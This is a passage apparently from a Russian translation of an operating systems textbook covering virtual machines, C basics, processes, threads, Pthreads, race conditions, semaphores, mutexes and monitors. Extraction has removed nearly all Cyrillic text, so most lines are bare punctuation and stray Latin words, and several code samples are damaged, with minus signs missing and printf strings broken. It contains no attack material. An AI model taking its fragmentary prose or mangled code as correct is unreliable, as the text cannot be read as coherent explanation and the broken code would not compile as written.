1.7, , . 7 ,
VMware Workstation .
1 2 , 2 , . .
(host operating system) . 1
.
2 - (
-) (guest operation
system) ,
.
1 ,
.
,
, , . ,
,
, .

.
, .
7.

Java
, , Java. Sun Microsystems Java, (
), JVM (Java Virtual Machine
Java). Java JVM, JVM. ,
JVM ,
JVM-, .
, SPARC x86,
. (, Sun , SPARC, SPARC, JVM .) JVM ,
, , JVM-
,
, .

1.8. C

99

1.7.6.
, ,
, , ,
.
0 1023,
1024 2047 . .
, ,
(Engler et al., 1995). ,
.
, VM/370 Pentium
8086, , , .
, . ,
0 .

( ). . ,
. ( ) ( ) ,
.

1.8. C
, , , C ( C++), ,
. ,
, , (, ) Java.

Java-.

1.8.1.
,
C , Pyton Java. Java C,
. Pyton, , .
Java. Java, Pyton,
, . C integer
( short long), char
float. , . C , Java, if, switch, for while.

100

1.

. , C,
Java Pyton, . ,
( ). :
char c1, c2, *p;
c1 = 'c';
p = &c1;
c2 = *p;

c1 c2 p , ( ).
ASCII- c c1. c1
- p. ,
p, c2,
c2 ASCII- .
,
, , .
,
.
C , , , , , .
. C
, , malloc free.

C .
,
. ,
- ,
.
.

1.8.2.
,
, , .c ( .c, .-).
.
, .h ( .h, .h-).
, -.
, :
#define BUFFER_SIZE 4096

.
BUFFER_SIZE , 4096. C
, 0, 1 1, .
, :

1.8. C

101

#define max(a, b) (a > b?a:b)


i = max(j, k+1)


i = (j > k+1 ? j : k+1)

j k + 1 i.
, :
#ifdef X86
Intel_int_ack();
#endif

intel_int_ack,
X86, .
- ,
,
x86, , SPARC,
. . #include .c
. ,
.c. .

1.8.3.
.c C . , , .o (.o-),
. .
C Java Pyton.
C C. .c #include
, ,
(
), ,
.c-.
(
5 000 000 ),
.
,
, .

.
, . UNIX make ( ,
gmake, pmake . .), Makefile, . make .
, ,

102

1.

, . ,
-
( ), . ,
. make , .c
, C ,
. Makefile ,
, .
.o , ,
. .
,
. ,
, UNIX- a.out.
,
C ,
. 1.26. , .

. 1.26.
: , ,

1.8.4.
,
.

1.9.

103

, ,
.
: ( ), .
, .

, , (
). ,
. ,
, , , . -.
, , just-in-time-
( ),
Java.

1.9.

,
. -
, ,

. , ,
. ,
2030 .
, 1958
Advanced Research
Projects Agency (ARPA),
.
. ARPA
,
ARPANET.
1969 . ARPANET ,
ARPA, .
20 . 1990- - (Tim Berners-Lee)
CERN World
Wide Web, (Marc Andreesen)
. , ( , ).
. ,
,
1960- -

104

1.

. ,
1960- (Doug Engelbart) .
, ?
, ,
510 , , .
,
, . ,
, ,
, . , , , ACM, IEEE Computer Society USENIX
.
:
ACM http://www.acm.org
IEEE Computer Society http://www.computer.org
USENIX http://www.usenix.org
,
, , ,
( ). ,
, . ,
, (Renzelmann et al., 2012; Zhou et al., 2012),
(Correia et al., 2012; Ma et al., 2013; Ongaro et al., 2011; Yeh and Cheng, 2012),
(Pathak et al., 2012; Petrucci and Loques, 2012; Shen et al.,
2013), (Elnably and Wang, 2012; Nightingale et al., 2012; Zhang
et al., 2013), - (De Bruijn et al., 2011; Li et al.,
2013; Rizzo, 2012), - (Liu et al., 2011),
(Giuffrida et al., 2013), (Rossbach et al., 2011),
(Jantz et al., 2013; Jeong et al., 2013),
(Baumann et al., 2009; Kapritsos, 2012; Lachaize et al., 2012; Wentzlaff et al., 2012),
(Elphinstone et al., 2007; Yang et al., 2006; Klein et
al., 2009), (Hruby et al., 2012; Ryzhyk et al., 2009, 2011;
Zheng et al., 2012), (Dunn et al., 2012; Giuffrida et
al., 2012; Li et al., 2013; Lorch et al., 2013; Ortolani and Crispo, 2012; Slowinska et al., 2012;
Ur et al., 2012), (Harter et al., 2012;
Ravindranath et al., 2012), (Agesen et al., 2012; Ben-Yehuda et al.,
2010; Colp et al., 2011; Dai et al., 2013; Tarasov et al., 2013; Williams et al., 2012).

1.10.


. . ,

1.11.

105

, ,
.
.
2 .
. , ,

.
3 , ,
.
.
4 .
, , . .
5 - . . : , .
6 .
, .
.

. , . 7 .
,
. ,
.
, ,
. 8.
.
9. , , (, ), .
.
UNIX, Linux Android ( 10) Windows 8 ( 11). 12
, .

1.11.
, , , .
. 1.4. ,
1, . , 1 1012 , 100
1010 . - - ,

106

1.

- ,
- .
1.4.

103
106
109
1012
1015
1018
1021
1024

0,001
103
0,000001
106
0,000000001

109
0,000000000001

1012
0,000000000000001
1015
0,000000000000000001

1018
0,000000000000000000001
1021
0,000000000000000000000001 1024

1000
1 000 000
1 000 000 000
1 000 000 000 000
1 000 000 000 000 000
1 000 000 000 000 000 000
1 000 000 000 000 000 000 000
1000 000 000 000 000 000 000 000

, , . 210 (1024), 103 (1000),


21. 1 1024 , 1000 . 1 220 (1 048 576) ,
1 230 (1 073 741 824) . 1 / 1000 /,
10- 10 000 000 /,
2. ,
,
.
, 210, 220 230 , /,
/ / 103, 106 109 / .

1.12.
: .

.
,
. , .

, 2 . , 210 (1024)
1 KiB 1 . , ,
. . .

107

, ,
, .
,
.
,

. , -.
.
, , , , - ,
. .
,
. , .
UNIX. .
. .
.
. , , , , .

1. ?
2. 1.4 . (
).
3. ?
4. - -,
32 64 . -.
?
5. (
DMA). ?
6. , -,
,
, .
.
7. 60-
IBM System/360. ?

108

1.

8. ,
, , .
, 25 80 ?
1200 900
24 ?
1980 ( $5 )? ?
9. , ,
, , . .
, .
10. ? ,

.
11. 255 65 536 255
512 .
? , 11 ,
7 , 100 /, ,
400 .
12.
:
) ;
) ;
) ;
) ?
13. , ,
( ). ,
: P0, P1 P2 5, 10 20 . ?
,
100 %, , .
14. ,
1 .
?
15. , -, ,
, . - 1 , 10 , 10 .
- 95 %, (
-) 99 %, ?
16. , , ,
.
, -

109

. ,
, . ,
(
). ? ?
17. trap? .
18. ?
,
UNIX Windows ?
19. - ,
? , ?
20. ,
: fork, exec unlink.
21. ( ,
)
: , , , , , ?
22.
count = write(fd, buffer, nbytes);

count , nbytes? ,
?
23. , fd, : 3, 1, 4, 1, 5, 9, 2, 6, 5, 3, 5. :
lseek(fd, 3, SEEK_SET);
read(fd, &buffer, 4);

lseek .
, read?
24. , 10
( 50) . 100.
? ,
1 , ,
, 5 . ,
200 /.
25.
?
26. , . 1.17, read,
read. , ?
, ?
27.
. .
28. ,
. ,

110

1.

? ,
?
29. . 1.2 , UNIX
Win32 API. UNIX
Windows ( ,
)?
30.
- . , , .
,
.
31. , , .
32. .
. .
33. :
1) ?
2) . ?
3) 1 ?
4) 6000 (). ?
34. , 1.1,
, .
,
, .
35. UNIX- (Linux, MINIX, FreeBSD
. .), , ,
, , . sync,
.
: ( )
. ,
.
36.
UNIX Windows c od UNIX
DEBUG MS-DOS.
: , . :
USB- ,
, ,
.

2.

. :
, .
, , (
) .
,
. () .
.
.
, .

2.1.
, , . ,
, , ,
. -.
, -. ,
, . ,
; , .
.
.
,
, . ,
- , .
( ).
. , . ,
, .
- . , , USB-,
, . ,
, .

112

2.


, .
, 1
, .

( , ).
, .
, . ,
.

2.1.1.
,
, , ,
, . , , . , , . ,

, , , () , ,
.
, 1, ,
.
. 2.1, ,
. . 2.1, ,
(
) . ,
, .
,
, .
. 2.1, ,
,
.
, . , , , .
8,
,
. , , , ( ), .

2.1.

113

. 2.1. : , ;
;

, ,
, , ,
, .
- . , ,
,
, .
, , 10 000 .
, ,
,
, , , , .
, ,
, ,
. , , ,
.
, .
, , - . ,
.
, : , , ,
. . ( , ), ,
. ,
, .
, ,
. , (
),
. ,
() , ( ),

114

2.

( ).
,
, .
, . , .
, ,
.
.
, , ,
. ,
, .
, , , .
,
, ,
, .

2.1.2.
- .
,
(, ),
.
.
, .
1. .
2. ,
.
3. .
4. .
, , .
, ,
. ,
, . , , , ,
. ,
-, ,
. , - , ,
, , -, ,
. ., .

2.1.

115

. UNIX1
ps. Windows
.
, , . ,
.
, ,
. ,
, ,
, .
,
.

( ) . .
UNIX- X- ,
. Microsoft Windows ,
, . ,
- . ,
, , ,
.
, ,
, . .
(, ). ,
,
.

, ,
. , , ,
.
.
,
.
UNIX
fork. .
fork , ,
1

UNIX ,
POSIX, Linux, FreeBSD, OS X, Solaris . ., , ,
Android iOS.

116

2.

, .
.
, execve .
, sort, , sort.
,
,
execve ,
.
Windows : Win32 CreateProcess
, .
10 , ,
, , , , , ,
( ), ,
. CreateProcess Win32 100
, ,
.
, UNIX Windows, , . - ,
. UNIX
, ,
. UNIX
. ,
, (copy on write), ,

, . , ,
, .

, . Windows
.

2.1.3.
. , . ,
:
();
();
();
().

2.1.

117

.
, , . UNIX exit, Windows ExitProcess. , ,
. , -
, , ,
, .
. ,

cc foo.c

foo.c, ,
. ,
. .
, ,
.
, . (, UNIX)
, ,
, (),
.
, - ,
,
. UNIX kill.
Win32 TerminateProcess. ,
, .

. UNIX, Windows .

2.1.4.
, ,
. - ,
. , , , , ( ,
, ). , , , , .
UNIX ,
. ,
, ( , ).
, , .

118

2.

, , , , UNIX
.
, init. ,
. ,
. , - . ,
. . .
, ,
init.
Windows , .
, , ( ),
.
- , . UNIX
.

2.1.5.
,
,
. , .
cat chapter1 chapter2 chapter3 | grep tree

, cat, . , grep, ,
tree.
( :
)
, grep ,
. .
- , , , , , .
, ,
, ,
.
. ( ,
).
( , ). . 2.2 ,
, :
( );
(, , );

2.1.

119

( , -
).
.
,
. ,
,
.

. 2.2. , .

, . 1 , ,
.
,
pause. , UNIX,
(, )
, .
2 3 ,
, - . 2 , ,

. 3 ,
. ,
, , ,
.

. .
4 , , ( , ).
, 3 .
,
.
,
. , , . ,
,
. ,

120

2.

, . , ,
, , . .,
, - .
, , ,
.
, . 2.3.
,
. , , , ,
.
.
.

. 2.3.
.

2.1.6.
(
), , - . ( .) ,
, , ,
, ,
, , ,
, .
. 2.1 .
.
. ,
,
.
, , , , ( ) .
( ),
-, .
, . ,
3.

2.1.

121

2.1.

, ,
.
, .
, .
,
. ,
,
, . , ,
(, C),
, ,
, .
, C-,
. ( , C,
.) ,
, -
, ,
. ,
,
. . 2.2. ,
.

122

2.

2.2.

1

. .

C, ( ,
)

,
,
, , .

2.1.7.
. , 20 % ,
.
,
,
- -.
. , p
-.
n , n ( ), pn.

= 1 pn.
. 2.4
n, .
, 80 %
-, 10 %
10 . ,
- ( ), ,
-, 80 % ,
. ,
-, .
, . ,

2.2.

123

. 2.4.
,

n , ,

. , , ,
, . -
. , ,
, - ,
, . 2.4.
, . 2.4,
, , . ,
, 8 ,
2 ,
2 . . -, 80 % ,
(
), 1 0,83, 49 %.
8
, 79 %.
, 8 30 %.
8
79 91 %, 12 %. , ,
, ,
.

2.2.
.

124

2.

. ,
,
,
( ). .

2.2.1.
- ? -, ,
. . , , .

, .
. . , , .
, , :
.
,
( ).
( )
. 10100 , .
,
.
.
,
, , -,
, .
, , , .
8.
, ,
. .
,
. ,
, ,
(,
, ).
, - . , ,
. . .
,

2.2.

125

, , . ,
xxxx , xxxx
xxxx. , , ,
.
300 , .
, , 800- . ,
, 600- ,
(, , ).
600- , , 600- ,
. 600-
, .
. ,
. , .
, ,
, , ,
.
, ,
. , ,
600- , .
, ?
,
.
, . , , . 2.5.

. 2.5. ,

126

2.

. .
, , ,
,
. , , .
.
. .
, , .
, ,
. .
.
, ,
, .

. , . ,
, , ,
, , .

.
, : -.
-, . -
. , - Sony ,
, , ,
- . -
,
.
. 1.
- . 2.6.
.
( )
, , , . ,
.
,
-, . , , -, ,
. , , , , , , ,
.

2.2.

127

. 2.6. -


.
.
, - . , . , ,
.
. 2.7. , , TRUE 1. buf page , - .

. 2.7. , . 2.6:
-;

, - . . -
, .
, . -
, , ,
, .
, . ,

128

2.

, ,
.
:
-. , , , .
read,
. - .
, , ,
.
, . ,
, . ,
. , . - , , .
,
, .

.
. ,
,
,
(finite-state machine), . .
, , , . , (, -),
.
, . ,
.
,
, . . 2.3.
2.3.

, ,

, , , .

2.2.

129

, , .
, , . ,

.
.
, .
. , .
. , ,
. , ,
, .

2.2.2.
,
. : . ,
.
, , Linux,
.
,
. ,
, . , , ,
. . ,
.

. , ,
. , . ,
, .
- , .
, , .

. ,
, , .
.
, , .
, .
,
. 1
,

130

2.


.
. 2.8, . . ,
. 2.8, , .
, . 2.8,
, . 2.8, .

. 2.8. , ;

,
, . . 2.1 .
. .
, ,
, , . ,
, ,
, ,
.
, . , ,
.

, ,
.
, . ,
,
, , -,
, .

2.2.

131

, . 2.4,
, , . .
, . 2.8, , ,
, , . 2.8, ,
,
.
2.4.
,

, . ,
, , ,
-. , ,
. , , . .,
.
,
- .
( ),
: , ,
.
. ,
, . , , ,
- . -
. , .

(. . 2.2).
, (. 2.9). ,
.
. , X
Y, Y Z, Z
X, Y Z. , ,
, , ,
. .

132

2.

. 2.9.

,
. , , thread_create. thread_create
, . ( )
- , .
, , .

, .
,
, thread_exit.
. - - () ,
thread_join. ,
() .

.
, , thread_yield.
.
,
.
,
. , - ,
, , . .
,
. , -

2.2.

133

fork, UNIX.
, ? ,
- ,
.
, , , -
read, , ,
? , , ? ,
? ? ,
?
.
, . ,
, ? ,
. ,
. , .
,
.

2.2.3. POSIX
,
IEEE IEEE standard 1003.1c.
, , Pthreads. UNIX-. 60 . .
, , . . 2.5 , .
2.5. Pthreads
,

pthread_create

pthread_exit

pthread_join

pthread_yield

pthread_attr_init

pthread_attr_destroy

Pthreads . , ( ) ,
. ,
, .

134

2.

pthread_create.
. fork ( ),
PID,
.
,
pthread_exit. , .

. pthread_join,
. , .
, , ,
, .
pthread_yield.
, ,
. , ,
, ,
.
, , . pthread_attr_init , , . (, )
.
, pthread_attr_destroy , , , . , , , .
, Pthread,
, 2.1.
, NUMBER_OF_THREADS ( ),
. ,
.
.
2.1. ,
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#define NUMBER_OF_THREADS 10
void *print_hello_world(void *tid)
{
/* , */
printf(", . %d\n", tid);
pthread_exit(NULL);
}

2.2.

135

int main(int argc, char *argv[])


{
/* 10 , . */
pthread_t threads[NUMBER_OF_THREADS];
int status, i;
for(i=0; i < NUMBER_OF_THREADS; i++) {
printf(" . %d\n"", i);
status = pthread_create(&threads[i], NULL, print_hello_world,
(void *)i);
if (status != 0) {
printf(", pthread_create
status);
exit(-1);
}

%d\n"",

}
exit(NULL);
}

, , . ,
, .
Pthreads , . , , .

2.2.4.

:
. ,
.
.
.
. , ,
. ,

, . , , .
.
(. 2.10, ). (run-time system), , . : pthread_create,
pthread_exit, pthread_join pthread_yield ,
.
, , ,
. , ,

136

2.

. 2.10. : ;

, ,
, , , , . .
.
, ,
, , ,
.
- ,
, , , .
, .
, ( )
, , ,
.
, .
,
. ,
, , , ,
, ,
, .
. , thread_yield,
thread_yield . , ,
. , , ,
, . ,

2.2.

137

, trap, ,
. .
.
, , .
. , ,
, ,
. ,
,
.
, , , .
. ,
- . ,
.
, ,

. , ,
.
(, ,
), ,
, . , , ,
,
. read
.
, , ,
. UNIX
select, , read . ,
read ,
select read, (
). read , .
. ,
, ,
read .
,
, .
, , (jacket), , (wrapper).

. 3.
, , .
( ), , -

138

2.


( ). . , .
, , ,
, ,
-, .
, ,
: ,
, , ,
.
,
().
, .

() ,
.
, ,
. , , .
, , ,
, , , , -.
. , , ,
,
select, read.
, , ,
?
n
, .

2.2.5.
, , . . 2.10, , . .
, ,
.
, , .
, , ,
. , , ,
, (

2.2.

139

). ,
, .
.
, , ,
,
. ,
( ), .
,
,
( ).
,
.
, ,
. , ,
, .
,
, .
, , , . ,
,
,
.
, , (, . .) ,
.
, , , . , , ?
, , ?
, . exec,
, , , .
, , ,
.
. ,
, , , .
? , ,
, ?
: ,
? , ,
.

140

2.

2.2.6.

. (. 2.11) ,
. ,
.
.

. 2.11.

,
. , . , ,
, ,
, .
,
.

2.2.7.

, , , .
.
, (Anderson et al., 1992),
.
(Edler et al.,1988; Scott et al., 1990).

,
, ,
. , -

2.2.

141

,
. ,
,
,
.
. , ,
- , ,
.


.
,
( ) . ,
. ,
,
.
.
:
, (, - ),
,
. ,
,
, UNIX. upcall
( ).

, , , ,
. ,
, (, , ,
), (upcall)
, .
, .

, , . ,
, -,
,
, , .

142

2.

, , , ,
. , .
,
: ,
- .

(upcall) , ,
. , n ,
n + 1, n , n + 1. (upcall)
.

2.2.8.
.
, .
, receive .
, ,
.
,
. (. 2.12)

. 2.12. :
;

2.2.

143

. ,
,
, .
, . . .

.
. , : ?
, ,
( . 2.12 ).
, ,
.

-, . ,
. ,
, ,
.

2.2.9.
. , .
.
, , , . , . ,
, ,
. , (
), .
errno, UNIX.
( ) , ,
errno. . 2.13 1 access,
, . errno. 1,
, errno,
, 1
2. 2
open, , errno, access .
1,
.
. . ,
. -

144

2.

. 2.13.

(. 2.14).
errno
, .
,
( ), ,
.

. 2.14.

,
, .
. ,
.

2.2.

145

,
, .
:
create_global("bufptr");

bufptr
, . , ,
.
,
.
: ,
. :
set global("bufptr", &buf);

,
create_global.
:
bufptr = read_global("bufptr");

, .
, , . , ,
. , ,
, . ,
, ,
,
?
,
malloc UNIX, , .
malloc ,
, , .

, ,
.
. .
,
, , .
. ,
.
.
, . ,

146

2.

alarm,
. ,
. ,
alarm .
, , . ? ?
? , ? ,
, ,
? ,
(, CTRL+C), ?
,
, , . , . ,
- ,
.
, , .

. ,
.
, .
,
- .
, , ,
. ,
. ,
, ,
.
(Hauser et al., 1993), (Marsh et al., 1991) (Rodrigues
et al., 2010).

2.3.
.
,
, .
, . ,
,
(InterProcess Communication (IPC)).
, . : .

2.3.

147

,
, ,
.
: , ,
, , ,
. .
, . , ,
, ( , ,
).

: . , ,
.

2.3.1.
- ,
. (,
) - .

. ,
, .
- ,
.
, ,
.
,
0, 1, 2..., .
, : out, ,
, in,
. ,
. - 0
3 ( ). ,
. . 2.15.
, , . in 7
next_ free_slot ( ).
, , , . in 7.
next_ free_slot.
, 7.

148

2.

. 2.15.

. 7
in 8. -
. ,
. next_ free_slot,
7 7, ,
. next_ free_slot + 1,
8 in. , ,
.
, , . ,
- ,
, , . , ,
.
, , ,
. ,
- .

2.3.2.
?
,
- ,

. ,
, , ,
,
.
, ,
.

2.3.

149

, .

. - - , .
-
, . ,
, . ,
,
.
,
, .
:
1. .
2. .
3. , ,
.
4.
.
. 2.16. ,
T1. , T2, ,
, ,
. ,

. 2.16.

150

2.

T3, A , .
( T4) ,
, .

2.3.3.

, ,
,
.



.
.
-
,
. ,
,
.
- ,
. , , ?
. , ( , , ),
,
.
.

, . ,
, .
: ,
.

.
,
, 8-, 16- 32- .
( )
, . , .

2.3.

151


,
() , .
,
. 0, 1
. 1, ,
. , , , -
.
, ,
. , , .
, , .
, ,
.
, , , ,
, .
, , .


. 2.17.
, , ,
C. ,
C ( C++) Java, Pyton Haskell. ,
, . Java, , ,
. C ,
. C, C++, Java
(Precheld, 2000).

. 2.17. : 0;
1. , ,
while

152

2.

turn, . 2.17,
,
. 0 turn, ,
, . 1 , , - ,
, turn 1. ,
- , .
, ,
. ,
, . ,
, -.
0 , turn 1, 1 . ,
1 ,
, turn
0. 0 ,
turn 1. turn 1
.
0
. , , turn 1 1
. 0 while ,
1 turn 0. ,
,
.
: 0
, .
.
, 0 , 1 - .
, , ,
, . .
,
,
.



, (T. Dekker) ,
, . (Dijkstra, 1965).
1981
, . 2.2. ,
ANSI C, ,

2.3.

153

-.
, .
2.2. ,
#define FALSE
0
#define TRUE
1
#define N
2
/* */
int turn;
/* ? */
int interested[N];
/* 0 (FALSE) */
void enter_region(int process); /* process 0 1 */
{
int other;
/* */
other = 1 process;
/* */
interested[process] = TRUE; /* */
turn = process;
/* */
while (turn == process && interested[other] == TRUE)/*
*/;
}
void leave_region(int process)
/* , */
{
interested[process] = FALSE; /* */ }

(
) enter_region,
, 0 1.
, , .
,
, , leave_region.
. . 0 enter_region.
, turn
0. 1
, enter_region . , 1 enter_region, , interested[0]
FALSE, , 0
leave_region, .
,
enter_region.
turn. ,
. , 1 turn
1. while, 0
. 1
, 0
.

TSL
, . , ,

154

2.

TSL RX,LOCK

(TSL Test and Set Lock, ),


. lock RX,
, lock, .
,
. , TSL,
, ,
.
,
.
, ,
, .
, 1 2. 2 ,
1 , , (
, ,
, , ).
TSL, lock, . lock 0,
, TSL, 1,
. ,
lock 0, move.

? 2.3. , ,
( ) .
lock , 1. . , ,
, .
0 ( , ,
).
:
lock .
.
.
enter_region,
, , . , leave_region, lock
. ,
, enter_region

2.3.

155

leave_region. - , . , ,
.
2.3.
TSL
enter region:
TSL REGISTER,LOCK
CMP REGISTER,#0
JNE enter_region
RET
leave region:
MOVE LOCK,#0
RET

|
|
|
|
|
|

lock 1
lock ?
, ,

;

| lock
|

TSL XCHG,
, .
, , 2.4, ,
TSL. XCHG
Intel x86.
2.4.
XCHG
Enter_region:
MOVE REGISTER,#1
XCHG REGISTER,LOCK
CMP REGISTER,#0
JNE enter_region
RET
leave region:
MOVE LOCK,#0
RET

|
|
|
|
|
|
|

1
lock
lock ?
, ,

;

| lock
|

2.3.4.
, , TSL XCHG, ,
. :
, , .
, , .
,
. : H L .
, H
. , L

156

2.

, H ( ,
-). H , , H, L , L
, H .
.
, , ,
.
sleep wakeup. sleep
, ,
. wakeup
. sleep wakeup ,
sleep wakeup.



( ).
. , ,
, , , . (
m n , ,
.)
,
.
, . , , ,
, -
.
,
,
.
count. ,
, N, ,
count N. , , ,
count.
: ,
count . , ,
, .
, ,
, .
2.5.
sleep wakeup C, . C,
, -, ,
.

2.3.

157

2.5.

#define N 100
int count = 0;

/* */
/* */

void producer(void)
{
int item;
while (TRUE) {
item = produce_item( );
if (count == N) sleep( );
insert_item(item);
count = count + 1;
if (count == 1) wakeup(consumer);
}
}

/*
/*
/*
/*
/*
/*

*/
*/
, */
*/
*/
? */

void consumer(void)
{
int item;
while (TRUE) {
/* */
if (count == 0) sleep();
/* , */
item = remove_item( );
/* */
/* */
count = count 1;
if (count == N 1) wakeup(producer);
/* ? */
consume_item(item);
/* */
}
}

insert_item remove_item .
. count. .
, count, ,
0.
. , count
, 1. ,
,
, wakeup, .
, , .
,
, , 0, .
. .
wakeup ,
. -

158

2.

, .

. , , , wakeup. ,
,
, .
, .
.
, , ,
.
, , 8 32 , ,
, .

2.3.5.
1965 , , .
(semaphore).
0,
, - ,
.
,
down up ( sleep wakeup ). down , 0. ,
1 ( ) .
0, ,
down. , , , , . ,

, .
. , - ,
, .
up , , 1. ,
down, ( ,
) down. , up ,
, , 1. 1
.
up, wakeup .
, down up
P V .

2.3.

159

, -, , ,
Proberen () Verhogen ( ),
down up. Algol 68.

-

2.6 , . , ,
.
up down ,
, .
, .
,
lock, ,
,
TSL XCHG.
, TSL XCHG

. , .
: full , empty
,
mutex, . full 0, empty
, mutex 1. ,
1 , . ,
down
up .
,
, , . 2.2. , ,

, -.
- down ,
.
up ,
. 5 . 2.2 up
, 6 , . ,

160

2.

,
. , .
, 2.6,
. ,
. mutex .
,
. .
.
2.6. ,

#define N 100
typedef int semaphore;
semaphore mutex = 1;
semaphore empty = N;
semaphore full = 0;
void producer(void)
{
int item;
while (TRUE) {
item = produce_item( );
down(&empty);
down(&mutex);
insert_item(item);
up(&mutex);
up(&full);
}

/* */
/*
*/
/* */
/* */
/* */

/* TRUE , 1 */
/* -
*/
/* */
/* */
/* */
/* */
/* */

}
void consumer(void)
{
int item;
while (TRUE) {
down(&full);
down(&mutex);
item = remove_item( );
up(&mutex);
up(&empty);
consume_item(item);
}

/*
/*
/*
/*
/*
/*
/*

*/
*/
*/
*/
*/
*/
*/

. full empty
. ,
, ,

2.3.

161

. ,
.

2.3.6.
, .

.
, .
, : . ,
,
, ,
. .
( ) ,
mutex_lock.
( ),
.
, ,
, , ,
mutex_unlock. ,
, .

TSL XCHG.
2.7 mutex_lock mutex_unlock,
, .
, XCHG, , .
2.7. mutex_lock mutex_unlock
mutex_lock:
TSL REGISTER,MUTEX
CMP REGISTER,#0
JZE ok

CALL thread_yield

ok:

JMP mutex lock


RET

mutex_unlock:
MOVE MUTEX,#0
RET

|
|
|
|
|
|
|
|
|
|
|
|


1
?
, ,
,

;


;

| 0
|

162

2.

mutex_lock enter_region 2.2, . enter_region , lock (


).
- . , , .
( )
, ,
. , ,
, ,
,
.
enter_region mutex_lock.
, thread_ yield,
. ,
. ,
.
thread_ yield
, . ,
mutex_lock, mutex_unlock . , ,
,
.
. - ,
. ,
mutex_trylock, ,
, .
, , .
,
. ,
, ,
. ,
, , - ,
, , .
, ,
turn , , ?
. -, , ,
. . -, ( UNIX Windows)
, .

2.3.

163

. ,
, .

, ,
. , ,
,
,
. ,
, ,
, , ,
.


. -
, , . ,
. , :
, , .
, .
,
, , fast user space mutex,
. Linux,
( ),
.
, . :
. , . ,
. ,
( ) , .

. ,
, 32-
, .
, 1, , . ,
( Linux
, C, ). , ,
. ,
.
, .
,

164

2.

. , , .
, , , ,
, , ,
. , ,
. ,
.

Pthreads
Pthreads ,
. , .
.
, , . ,

, . ,
, .
,

. . .
, , . 2.6. ,
. , ,
, , pthread_mutex_init pthread_mutex_destroy.
pthread_mutex_lock, , .
,
, . pthread_mutex_trylock.
, . , pthread_mutex_
unlock , , .
, .
2.6. Pthreads,

pthread_mutex_init

pthread_mutex_destroy

pthread_mutex_lock

pthread_mutex_trylock

pthread_mutex_unlock

Pthreads .

2.3.

165

. .
.
, .
-: - , - .
,
, . , ,
, ,
.
.
, , . 2.7.
, , . ,
( ) .
pthread_cond_wait pthread_cond_signal.
, (
). ,
.
, , - - .
. .
pthread_cond_broadcast ,
.
2.7. Pthreads,

pthread_cond_init

pthread_cond_destroy

pthread_cond_wait

pthread_cond_signal

pthread_cond_broadcast

. ,
, , .
, . pthread_cond_wait

.
.

166

2.

, ( ) . ,
, . ,
.
2.8
-, . ,
, , .
, , , .
. , ,
, ,
UNIX .
2.8.
#include <stdio.h>
#include <pthread.h>
#define MAX 1000000000
pthread_mutex_t the_mutex;
pthread_cond_t condc, condp;
int buffer = 0;

/* */
/* */
/* ,
*/
/* */

void *producer(void *ptr)


{
int i;
for (i= 1; i <= MAX; i++) {
pthread_mutex_lock(&the mutex);

/*
*/
while (buffer != 0) pthread_cond_wait(&condp, &the_mutex);
buffer = i;
/* */
pthread_cond_signal(&condc);
/* */
pthread_mutex_unlock(&the mutex); /* */

}
pthread exit(0);
}
void *consumer(void *ptr)
{
int i;
for (i = 1; i <= MAX; i++) {
pthread_mutex_lock(&the_mutex);

/* */

/*
*/
while (buffer ==0 ) pthread_cond_wait(&condc, &the_mutex);
buffer = 0;
/* */
pthread_cond_signal(&condp);
/* */
pthread_mutex_unlock(&the_mutex); /* */

}
pthread exit(0);
}
int main(int argc, char **argv)
{

2.3.

167

pthread_t pro, con;


pthread_mutex_init(&the mutex, 0);
pthread_cond_init(&condc, 0);
pthread_cond_init(&condp, 0);
pthread_create(&con, 0, consumer, 0);
pthread_create(&pro, 0, producer, 0);
pthread_join(pro, 0);
pthread_join(con, 0);
pthread_cond_destroy(&condc);
pthread_cond_destroy(&condp);
pthread_mutex_destroy(&the mutex);
}

2.3.7.
, , . down
, 2.6. ,
down ,
mutex empty, .
, ,
mutex 0. ,
down mutex,
0, . , - . ,
6.
, , .
. ,
, ,
.
, (Brinch Hansen)
1973 (Hoare) 1974 , . , ,
.
,
. ,
, , .
2.9 , Pidgin Pascal.
C , , C
.
2.9.
monitor example
integer i;
condition c;

168

2.

procedure producer();
.
.
.
end;
procedure consumer();
.
.
.
end;
end monitor;

,
:
. ,

, .

.
- ,
, .
, .
,
.
, ,
, - ,
. , , ,
. ,

.
,
, . ,
, .
-
, , , ?
, wait signal.
(, ,
), wait - , , full. .
, . ,
Pthreads.
, ,
, signal , .
, ,
signal.

2.3.

169

. ,
,
signal. , signal .
, . signal
,
, ,
.
, , ,
. ,
, .
.
, . , , ,
. , wait
signal. . , , ,
. ,
signal, , , .
-
Pidgin Pascal 2.10.
Pidgin Pascal
.
2.10. -
.
. N
monitor ProducerConsumer
condition full, empty;
integer count;
procedure insert(item: integer);
begin
if count = N then wait(full);
insert item(item);
count := count + 1;
if count =1 then signal(empty)
end;
function remove : integer;
begin
if count =0 then wait(empty);
remove = remove item;
count := count 1;
if count = N 1 then signal(full)
end;
count := 0;
end monitor;

170

2.

procedure producer;
begin
while true do
begin
item = produce item;
ProducerConsumer.insert(item)
End
end;
procedure consumer;
begin
while true do
begin
item = ProducerConsumer.remove;
consume item(item)
end
end;

, wait signal sleep


wakeup, , , . , , : sleep
wakeup , ,
. . : , , , ,
, , wait,
, , wait .
, wait
.
Pidgin Pascal , , ,
, .
Java - , , () .
synchronized Java
: ,

synchronized.
synchronized .
2.11 - , Java. .
, ProducerConsumer, p c.
producer consumer . , our_monitor . ,
.
, - insert remove.

. , -

2.3.

171

.
,
.
our_monitor, , .
insert, ,
remove,
.
count , .
0 N 1 . lo
, . hi
, . lo = hi, , 0, N .
count .
Java : Java .
, wait notify, sleep
wakeup, ,
. wait
, , , .
Java , .
, go_to_sleep
.
( ) . .
Pidgin Pascal, C,
. ,
. -
. C, Pascal ,
- . , ,
, ?
, :
, up down. , .
, , ,
, ,
C ++ ( ,
). ,
.
, , , , .
TSL XCHG, . ,
,

172

2.

, . , , , .

. - .

2.3.8.
.
, send receive, ,
, , .
, :
send(destination, &message);

receive(source, &message);

, ( ,
). ,
. .


,
, , .
, .
, ,
,
.
, .
2.11. - Java
public class ProducerConsumer {
static final int N = 100;
static producer p = new producer( );

// ,
//
//
static consumer c = new consumer( );
//
//
static our monitor mon = new our monitor( );
//
//
public static void main(String args[ ]) {
p.start( );
//
c.start( );
//
}
static class producer extends Thread {
public void run( ) {
// run
int item;

2.3.

173

while (true) {
//
item = produce item( );
mon.insert(item);
}
}
private int produce_item( ) { ... }
//
}
static class consumer extends Thread {
public void run( ) {
// run
int item;
while (true) {
//
item = mon.remove( );
